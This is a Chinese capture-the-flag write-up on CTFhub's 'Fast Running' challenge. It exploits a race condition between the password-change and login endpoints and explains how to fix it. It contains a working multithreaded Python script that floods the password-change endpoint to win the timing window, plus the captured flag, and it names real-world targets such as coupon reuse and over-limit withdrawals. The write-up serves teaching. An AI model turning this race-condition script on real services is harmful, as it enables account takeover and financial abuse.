CTFhub-Fast Running过关攻略

我独自升级中
2026-10-03 / 0 评论 / 84 阅读 / 正在检测是否收录...

靶场地址

CTFhub
image.png
→ 历年真题 → Web → 困难 → Fast Running

一句话漏洞点

改密码与校验密码之间存在时间窗口,并发请求可让"改密"和"登录"同时通过。

题面:修改密码与登录是两个独立接口

  • 改密:/change_passwd.php?passwd=12&passwd_confirm=12
  • 登录:/login_check.php?passwd=12

服务端的校验逻辑是"密码没变就放行"(防止误改),只要在它读取旧密码后、写入新密码前抢到登录请求,就能拿着旧密码通过校验。

image-1.png

多线程并发:一个线程疯狂改密,一个线程去登录

import threading
import requests

def change_pass():                      # 死循环发送改密请求
    while True:
        url = ("http://challenge-ae248c6e607d2353.sandbox.ctfhub.com:10800"
               "/change_passwd.php?passwd=12&passwd_confirm=12")
        requests.get(url)

def login():                            # 发送一次登录请求
    url = ("http://challenge-ae248c6e607d2353.sandbox.ctfhub.com:10800"
           "/login_check.php?passwd=12")
    print(requests.get(url).text)

if __name__ == '__main__':
    t1 = threading.Thread(target=change_pass)
    t2 = threading.Thread(target=login)
    t1.start(); t2.start()
    t1.join();  t2.join()

要点:change_pass 用 while True 高频占住改密接口,把时间窗口撞开的概率放大;login 只需一次请求,撞中即回显 flag。

运行脚本,回显 flag

D:\Python\.venv\Scripts\python.exe "D:\Python\cs\CTFHub\Fast Running.py"
ctfhub{415c61719bbfc174c2ccfb48}

脚本运行成功回显 flag

竞争条件(Race Condition)是什么

程序把"检查"和"执行"拆成两步且没有加锁时,两步之间就存在时间窗口;并发请求可以挤进这个窗口,让两个互斥的操作同时成立。

本题的检查与执行:

  1. 读取数据库里的旧密码;
  2. 比较提交的密码是否等于旧密码;
  3. 相等则视为"没改",放行;
  4. 不相等才写入新密码。

改密请求不断把密码在"旧值 → 新值"之间来回改,登录请求恰好落在步骤 2 之后、步骤 4 之前,于是用旧密码通过了本该只对新密码开放的逻辑。

  • 判断依据是"同一秒内两个请求同时成功",不是逻辑漏洞而是时序漏洞。
  • 修复方式:对改密与登录的关键区段加锁(数据库事务 + 行锁,或 Redis 分布式锁),保证检查与写入原子化。

补充

  • t1 是死循环,脚本不会自己退出;看到 flag 后手动停止即可。
  • 实战中常用 Burp Intruder 无限发包或多线程脚本打这类题;脚本里线程数越多,撞中的概率越高。
  • 同类考法:优惠券重复领取、余额超额提现、验证码一次性消费绕过。
0

评论 (0)

取消